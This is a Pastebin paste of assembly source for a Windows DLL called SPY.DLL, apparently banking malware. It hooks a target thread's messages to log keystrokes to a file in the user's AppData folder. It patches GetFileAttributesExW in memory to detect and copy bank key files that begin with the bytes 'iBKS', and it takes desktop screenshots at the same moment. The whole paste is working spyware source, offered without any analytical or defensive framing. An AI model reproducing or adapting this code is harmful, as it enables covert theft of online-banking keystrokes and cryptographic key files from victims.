CovetousEyes

spy.asm

Jan 24th, 2013
185
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. format PE GUI 4.0 DLL
  2.  
  3. entry  DllEntryPoint
  4.  
  5. include 'win32a.inc'
  6. include 'encoding/win1251.inc'
  7. HSHELL_WINDOWDESTROYED = 2
  8.  
  9. section 'SEX' code readable executable
  10.  
  11. struct GdiplusStartupInput
  12.    GdiplusVersion       dd ?
  13.    DebugEventCallback       dd ?
  14.    SuppressBackgroundThread dd ?
  15.    SuppressExternalCodecs   dd ?
  16. ends
  17.  
  18. struct ImageCodecInfo
  19.    Clsid            dd 4 dup ?
  20.    FormatID         dd 4 dup ?
  21.    CodecName            dd ?
  22.    DllName          dd ?
  23.    FormatDescription        dd ?
  24.    FilenameExtension        dd ?
  25.    MimeType         dd ?
  26.    Flags            dd ?
  27.    Version          dd ?
  28.    SigCount         dd ?
  29.    SigSize          dd ?
  30.    SigPattern           dd ?
  31.    SigMask          dd ?
  32. ends
  33.  
  34. struct  InjCode
  35.     pushOp   db ?   ;068h
  36.     pushArg  dd ?   ;pFnc
  37.     retOp    db ?   ;0c3h
  38. ends
  39.  
  40. proc    StrLen  str
  41.  
  42.     push    esi
  43.     mov esi, DWord [str]
  44.     xor ecx, ecx
  45.     cld
  46.     jmp .Enter
  47. .Up:
  48.     inc ecx
  49. .Enter:
  50.     lodsb
  51.     test    al, al
  52.     jnz .Up
  53.     pop esi
  54.     ret
  55. endp
  56.  
  57. proc    strreverse str
  58.  
  59.     push    ebx
  60.     mov eax, [str]
  61.     stdcall StrLen, eax
  62.     mov edx, eax
  63.     add edx, ecx
  64.     dec edx
  65.     shr ecx, 01h
  66. .up:
  67.     cmp ecx, 0h
  68.     jz  short .down
  69.     dec ecx
  70.     mov bl, Byte [edx]
  71.     mov bh, Byte [eax]
  72.     mov Byte [eax], bl
  73.     mov Byte [edx], bh
  74.     dec edx
  75.     inc eax
  76.     jmp short .up
  77. .down:
  78.     pop ebx
  79.     ret
  80. endp
  81.  
  82. proc    UIntToStrHex outs, num
  83.  
  84.     push    ebx
  85.     push    [outs]
  86.     mov eax, DWord [num]
  87.     mov ecx, 010h
  88.     .Loop:
  89.     xor edx, edx
  90.     div ecx
  91.     cmp dl, 0ah
  92.     jb  .next
  93.     add dl, 07h
  94. .next:
  95.     add dl, 030h
  96.     mov ebx, DWord [outs]
  97.     mov Byte [ebx], dl
  98.     inc DWord [outs]
  99.     cmp eax, 0h
  100.     jnz .Loop
  101.     inc ebx
  102.     mov Byte [ebx], 0h
  103.     pop eax
  104.     stdcall strreverse, eax
  105.     pop ebx
  106.     ret
  107. endp
  108.  
  109.  
  110. proc    DllEntryPoint hInstDLL, fdwReason, lpvReserved
  111.     cmp [fdwReason],DLL_PROCESS_ATTACH
  112.     jnz .End
  113.     push    [hInstDLL]
  114.     pop [hInstance]
  115. .End:
  116.     mov eax, TRUE
  117.     ret
  118. endp
  119.  
  120. proc    ScreenShot szPath
  121.  
  122. local   DesktopDC   dd ?
  123. local   hDeskBMP    dd ?
  124. local   dcDeskBMP   dd ?
  125. local   encNum      dd ?
  126. local   encSize     dd ?
  127. local   bytesWritten    dd ?
  128. local   tGDIP       dd ?
  129.  
  130.     invoke  GetWindowDC,0
  131.     mov DWord [DesktopDC],eax
  132.     invoke  GetSystemMetrics, SM_CXSCREEN
  133.     mov esi,eax               ;esi - screen width
  134.     invoke  GetSystemMetrics, SM_CYSCREEN
  135.     mov edi,eax               ;edi - screen height
  136.     invoke  CreateCompatibleBitmap, [DesktopDC], esi, edi
  137.     mov dword[hDeskBMP],eax
  138.     invoke  CreateCompatibleDC,[DesktopDC]
  139.     mov dword[dcDeskBMP],eax
  140.     invoke  SelectObject,[dcDeskBMP],[hDeskBMP]
  141.     invoke  BitBlt,[dcDeskBMP],0,0,esi,edi,[DesktopDC],0,0,SRCCOPY
  142.     mov dword[tSI.GdiplusVersion],1
  143.     lea eax, [tGDIP]
  144.     invoke  GdiplusStartup, eax, tSI, NULL
  145.     lea eax, [frDesktopBitmap]
  146.     invoke  GdipCreateBitmapFromHBITMAP,[hDeskBMP],0,eax
  147.     lea eax, [encNum]
  148.     lea ebx, [encSize]
  149.     invoke  GdipGetImageEncodersSize, eax, ebx
  150.     invoke  VirtualAlloc,0,[encSize],MEM_COMMIT,PAGE_READWRITE
  151.     mov ebx,eax                  ;ebx - pointer to encoders info memory
  152.     invoke  GdipGetImageEncoders,[encNum],[encSize],eax
  153.     lea ecx,[ebx-sizeof.ImageCodecInfo]     ;ebp - current encoder being enumerated
  154.     .Loop:
  155.     add ecx,sizeof.ImageCodecInfo
  156.     push    ecx
  157.     invoke  lstrcmpW,[ecx+ImageCodecInfo.MimeType],encoderMIME
  158.     pop ecx
  159.     test    eax,eax
  160.     jnz .Loop
  161.     invoke  GdipSaveImageToFile,[frDesktopBitmap],[szPath],ecx,NULL
  162.     invoke  VirtualFree,ebx,0,MEM_RELEASE
  163.     invoke  GdipDisposeImage,[frDesktopBitmap]
  164.     invoke  GdiplusShutdown,[tGDIP]
  165.     invoke  DeleteDC,[dcDeskBMP]
  166.     invoke  DeleteObject,[hDeskBMP]
  167.     invoke  ReleaseDC,0,[DesktopDC]
  168.     ret
  169. endp
  170.  
  171. proc    MSG_HOOK_PROC nCode, wParam, lParam
  172.  
  173. local   KeyBuff dd ?
  174. local   Res dd ?
  175. local   Numbers dq ?
  176.     cmp [nCode], HC_ACTION
  177.     jnz .End
  178.     cmp [iSessionState], 03h ;FINISHED SESSION
  179.     jz  .End
  180.     cmp [iSessionState], 02h ;FINISHED SESSION
  181.     jz  .End
  182.     cmp [iSessionState], 01h ;SESSION IS ACTIVE
  183.     jz  .NextStep
  184.     pusha
  185.     stdcall SpyStartSession
  186.     mov esi, [lParam]
  187.     mov eax, DWord [esi]
  188.     mov [hWndIBank], eax
  189.     mov [iSessionState], 01h
  190.     popa
  191. .NextStep:
  192.     pusha
  193.     mov esi, [lParam]
  194.     mov eax, DWord [esi+04h]
  195.     cmp ax, WM_CHAR
  196.     jnz short .End2
  197.  
  198.     mov eax, [esi+08h]
  199.     mov DWord [KeyBuff], eax
  200.     lea eax, [KeyBuff]
  201.     lea ebx, [Res]
  202.     invoke  WriteFile, [hLogKbd], eax, 02h, ebx, NULL
  203.     lea eax, [KeyBuff]
  204.     mov Byte [eax+02h], 0h
  205. .End2:
  206.     popa
  207. .End:
  208.     pusha
  209.     invoke  CallNextHookEx, [hHookMSG], [nCode], [wParam], [lParam]
  210.     mov [Res], eax
  211.     popa
  212.     mov eax, [Res]
  213.     ret
  214. endp
  215.  
  216.     macro   UnhookInjectSplicing oldProc, OldCodeBuff, iWritten {
  217.     pusha
  218.     invoke  WriteProcessMemory, INVALID_HANDLE_VALUE, [oldProc], OldCodeBuff, 06h, OldCodeBuff
  219.     popa }
  220.  
  221. proc    NewGetFileAttributesExW lpFileName, fInfoLevelId, lpFileInformation
  222.  
  223.     local   Buff   dd ?
  224.     local   iRead  dd ?
  225.     local   lastErr dd ?
  226.     push    [lpFileInformation]
  227.     push    [fInfoLevelId]
  228.     push    [lpFileName]
  229.     push    .NextStep
  230.     pusha
  231.     invoke  WriteProcessMemory, INVALID_HANDLE_VALUE, [GetFileAttributesExW], OldCodeFAExPr, 06h, iWritten
  232.     popa
  233.     jmp [GetFileAttributesExW]
  234.     .NextStep:
  235.     invoke  GetLastError
  236.     mov [lastErr], eax
  237.     pusha
  238.     invoke  WriteProcessMemory, INVALID_HANDLE_VALUE, [GetFileAttributesExW], InjCodeFAExWPr, 06h, iWritten
  239.     invoke  CreateFileW, [lpFileName], GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
  240.     cmp eax, INVALID_HANDLE_VALUE
  241.     jz  .End
  242.     mov esi, eax ; hFile
  243.     invoke  GetFileSize, esi, NULL
  244.     cmp eax, 04000h
  245.     ja  .CloseHandle
  246.     mov [KeySize], eax
  247.     lea edx, [Buff]
  248.     lea edi, [iRead]
  249.     invoke  ReadFile, esi, edx, 04h, edi, NULL
  250.     cmp DWord [iRead], 04h
  251.     jnz .CloseHandle
  252.     mov eax, DWord [iBKS]
  253.     cmp eax, [Buff]
  254.     jnz .CloseHandle
  255.     invoke  LocalAlloc, GMEM_ZEROINIT or GMEM_FIXED, [KeySize]
  256.     mov [pBuffKey], eax
  257.     invoke  SetFilePointer, esi, NULL, NULL, FILE_BEGIN
  258.     lea edi, [iRead]
  259.     invoke  ReadFile, esi, [pBuffKey], [KeySize], edi, NULL
  260.     mov eax, [iLenPath]
  261.     shl eax, 01h
  262.     add eax, 014h
  263.     invoke  LocalAlloc, GMEM_ZEROINIT or GMEM_FIXED, eax
  264.     mov ebx, eax
  265.     invoke  lstrcat, ebx, szPathLog
  266.     invoke  lstrcat, ebx, szJPG
  267.     stdcall ScreenShot, ebx
  268.     invoke  LocalFree, ebx
  269.     UnhookInjectSplicing GetFileAttributesExW, OldCodeFAExPr, iWritten
  270. .CloseHandle:
  271.     invoke  CloseHandle, esi
  272. .End:
  273.     invoke  SetLastError, [lastErr]
  274.     popa
  275.     ret
  276. endp
  277.  
  278. proc    InjectSplicing newProc, oldProc, InjCodeBuff, OldCodeBuff
  279.  
  280. local   Bytes   dd ?
  281.  
  282.     pusha
  283.     mov eax, [newProc]
  284.     mov edx, [InjCodeBuff]
  285.     mov Byte [edx+InjCode.pushOp], 068h
  286.     mov DWord [edx+InjCode.pushArg], eax
  287.     mov Byte [edx+InjCode.retOp], 0c3h
  288.     mov ebx, [oldProc]
  289.     lea edx, [Bytes]
  290.     invoke  ReadProcessMemory, INVALID_HANDLE_VALUE, ebx, [OldCodeBuff], 06h, edx
  291.     lea edx, [Bytes]
  292.     invoke  WriteProcessMemory, INVALID_HANDLE_VALUE, ebx, [InjCodeBuff], 06h, edx
  293.     popa
  294.     ret
  295. endp
  296.  
  297. proc    SpyStartSession
  298.  
  299. local   hWnd    dd ?
  300. local   sTitle  db 040h dup(?)
  301. local   FT  dq ?
  302.  
  303.     pusha
  304.     invoke  SHGetFolderPath, NULL, CSIDL_LOCAL_APPDATA, NULL, 0h, szPathLog
  305.     lea eax, [FT]
  306.     invoke  GetSystemTimeAsFileTime, eax
  307.     mov eax, DWord [FT]
  308.     stdcall UIntToStrHex, szSessionASCII, DWord [FT]
  309.     stdcall UIntToStrHex, szSessionASCII+08h, DWord [FT+04h]
  310.     invoke  OemToCharW, szSessionASCII, szSessionUnicode
  311.     invoke  lstrcat, szPathLog, szPathSession
  312.     invoke  lstrlen, szPathLog
  313.     mov [iLenPath], eax
  314.     shl eax, 01h
  315.     add eax, 05h
  316.     invoke  LocalAlloc, GMEM_ZEROINIT or GMEM_FIXED, eax
  317.     mov ebx, eax
  318.     invoke  lstrcat, ebx, szPathLog
  319.     invoke  lstrcat, ebx, szLOG
  320.     invoke  CreateFileW, ebx, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0h
  321.     cmp eax, -1h
  322.     jz  .FreeMem
  323.     mov [hLogKbd], eax
  324.     stdcall InjectSplicing, NewGetFileAttributesExW, [GetFileAttributesExW], InjCodeFAExWPr, OldCodeFAExPr
  325. .FreeMem:
  326.     invoke  LocalFree, ebx
  327.     popa
  328.     ret
  329. endp
  330.  
  331. proc    SHL_HOOK_PROC nCode, wParam, lParam
  332.  
  333.     local   szBuff db 040h dup (?)
  334.     pusha
  335.     cmp DWORD [nCode], HSHELL_WINDOWDESTROYED
  336.     jnz .End
  337.     invoke  CloseHandle, [hLogKbd]
  338.     cmp [KeySize], 0
  339.     jz  .FileKeyNotFound
  340.     invoke  LocalAlloc, GMEM_ZEROINIT or GMEM_FIXED, 600
  341.     mov ebx, eax
  342.     invoke  lstrcat, ebx, szPathLog
  343.     invoke  lstrcat, ebx, szKEY
  344.     invoke  CreateFileW, ebx, GENERIC_WRITE, 0, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0h
  345.     mov edi, eax
  346.     invoke  WriteFile, edi, [pBuffKey], [KeySize], iWritten, NULL
  347.     invoke  CloseHandle, edi
  348.     invoke  LocalFree, ebx
  349.     mov [iSessionState], 03h
  350.     jmp short .End2
  351. .FileKeyNotFound:
  352.     mov [iSessionState], 02h
  353. .End2:
  354.     invoke  UnhookWindowsHookEx, [hHookMSG]
  355.     invoke  UnhookWindowsHookEx, [hHookSHL]
  356. .End:
  357.     popa
  358.     xor eax, eax
  359.     ret
  360. endp
  361.  
  362. proc    InitLogger TID
  363.     pusha
  364.     invoke  SetWindowsHookExW, WH_GETMESSAGE, MSG_HOOK_PROC, [hInstance], [TID]
  365.     mov [hHookMSG], eax
  366.     invoke  SetWindowsHookExW, WH_SHELL, SHL_HOOK_PROC, [hInstance], [TID]
  367.     mov [hHookSHL], eax
  368.     popa
  369.     xor eax, eax
  370.     ret
  371. endp
  372.  
  373. proc    GetSpyState
  374.     mov eax, [iSessionState]
  375.     ret
  376. endp
  377.  
  378. proc    GetSpySessionPath
  379.     lea eax, [szPathLog]
  380.     ret
  381. endp
  382.  
  383. section 'DRUGS' data readable writeable shareable
  384.  
  385. hHookMSG         dd 0h
  386. hHookSHL         dd 0h
  387. hWndIBank        dd 0h
  388. iSessionState        dd 0h
  389. szPathLog        db 0100h dup (0h)
  390. KeySize          dd 0h
  391.  
  392. section 'ROCK' data readable writeable
  393.  
  394. hInstance        dd 0h
  395. hLogKbd          dd ?
  396. szBuff           db 09h dup(0)
  397. szLOG            du '.log', 0
  398. szKEY            du '.key', 0
  399. szJPG            du '.jpg', 0
  400. InjCodeFAExWPr       db 06 dup (?)
  401. OldCodeFAExPr        db 06 dup (?)
  402. iWritten         dd 0h
  403. iBKS             db 069h, 042h, 04bh, 053h
  404. iLenPath         dd 0h
  405. pBuffKey         dd 0h
  406. szSessionASCII       db 012h dup(0h)
  407. szPathSession        db '\',0h
  408. szSessionUnicode     dw 012h dup(0h)
  409. frDesktopBitmap      dd ?
  410. fPath            du 'Bitmap.jpg',0
  411. encoderMIME      du 'image/jpeg',0
  412. tSI          GdiplusStartupInput <>
  413.  
  414. GUIDImageEncoderBMP:
  415.    dd 557CF400h
  416.    dw 1A04h,11D3h
  417.    db 09Ah,073h,000h,000h,0F8h,01Eh,0F3h,02Eh
  418.  
  419. section 'ROLL' import data readable writeable
  420.  
  421.     library kernel, 'kernel32.DLL',\
  422.         user, 'user32.DLL',\
  423.         shell, 'shell32.DLL',\
  424.         gdiplus, 'gdiplus.dll',\
  425.         gdi32, 'gdi32.dll'
  426.  
  427.     import kernel,\
  428.         GetSystemDirectory, 'GetSystemDirectoryA',\
  429.         GetCommandLineW, 'GetCommandLineW',\
  430.         lstrcpy, 'lstrcpyW',\
  431.         lstrcmp, 'lstrcmpA',\
  432.         lstrcmpi, 'lstrcmpiA',\
  433.         lstrcmpW, 'lstrcmpW',\
  434.         lstrcat, 'lstrcatW',\
  435.         lstrlen, 'lstrlenW',\
  436.         Sleep, 'Sleep',\
  437.         ReadProcessMemory, 'ReadProcessMemory',\
  438.         WriteProcessMemory,'WriteProcessMemory',\
  439.         GetStartupInfo, 'GetStartupInfo',\
  440.         GetSystemTimeAsFileTime, 'GetSystemTimeAsFileTime',\
  441.         CreateFileW, 'CreateFileW',\
  442.         CreateFileA, 'CreateFileA',\
  443.         GetLastError, 'GetLastError',\
  444.         GetFileSize, 'GetFileSize',\
  445.         LocalFree, 'LocalFree',\
  446.         VirtualAlloc, 'VirtualAlloc',\
  447.         SetLastError, 'SetLastError',\
  448.         SetFilePointer, 'SetFilePointer',\
  449.         WriteFile, 'WriteFile',\
  450.         ReadFile, 'ReadFile',\
  451.         CloseHandle, 'CloseHandle',\
  452.         SetEndOfFile, 'SetEndOfFile',\
  453.         VirtualProtect, 'VirtualProtect',\
  454.         GetFileAttributesExA, 'GetFileAttributesExA',\
  455.         GetFileAttributesExW, 'GetFileAttributesExW',\
  456.         LocalAlloc, 'LocalAlloc',\
  457.         VirtualFree, 'VirtualFree',\
  458.         ExitProcess,'ExitProcess'
  459.  
  460.     import user,\
  461.         MessageBoxA, 'MessageBoxA',\
  462.         MessageBoxW, 'MessageBoxW',\
  463.         OemToCharW, 'OemToCharW',\
  464.         GetDC, 'GetDC',\
  465.         GetDeviceCaps, 'GetDeviceCaps',\
  466.         GetSystemMetrics, 'GetSystemMetrics',\
  467.         GetWindowDC, 'GetWindowDC',\
  468.         ReleaseDC, 'ReleaseDC',\
  469.         SetWindowsHookExW, 'SetWindowsHookExW',\
  470.         CallNextHookEx, 'CallNextHookEx',\
  471.         UnhookWindowsHookEx, 'UnhookWindowsHookEx',\
  472.         ToUnicode, 'ToUnicode',\
  473.         GetWindowLong, 'GetWindowLongA',\
  474.         GetWindowThreadProcessId, 'GetWindowThreadProcessId',\
  475.         GetClassNameA, 'GetClassNameA'
  476.  
  477.     import shell,\
  478.         SHGetFolderPath, 'SHGetFolderPathW'
  479.  
  480.     import gdiplus,\
  481.         GdipCreateBitmapFromHBITMAP,'GdipCreateBitmapFromHBITMAP',\
  482.         GdipDisposeImage,'GdipDisposeImage',\
  483.         GdiplusStartup,'GdiplusStartup',\
  484.         GdiplusShutdown,'GdiplusShutdown',\
  485.         GdipSaveImageToFile,'GdipSaveImageToFile',\
  486.         GdipGetImageEncodersSize,'GdipGetImageEncodersSize',\
  487.         GdipGetImageEncoders,'GdipGetImageEncoders'
  488.  
  489.     import gdi32,\
  490.         CreateCompatibleDC,'CreateCompatibleDC',\
  491.         DeleteDC,'DeleteDC',\
  492.         CreateCompatibleBitmap,'CreateCompatibleBitmap',\
  493.         DeleteObject,'DeleteObject',\
  494.         SelectObject,'SelectObject',\
  495.         BitBlt,'BitBlt'
  496.  
  497. section 'NIRVANA' export data readable
  498.  
  499.     export  'SPY.DLL',\
  500.         InitLogger, 'StartSpy',\
  501.         GetSpyState, 'GetSpyState',\
  502.         GetSpySessionPath, 'GetSpySessionPath'
  503.  
  504. section 'CASH' fixups data discardable
Advertisement
Add Comment
Please, Sign In to add comment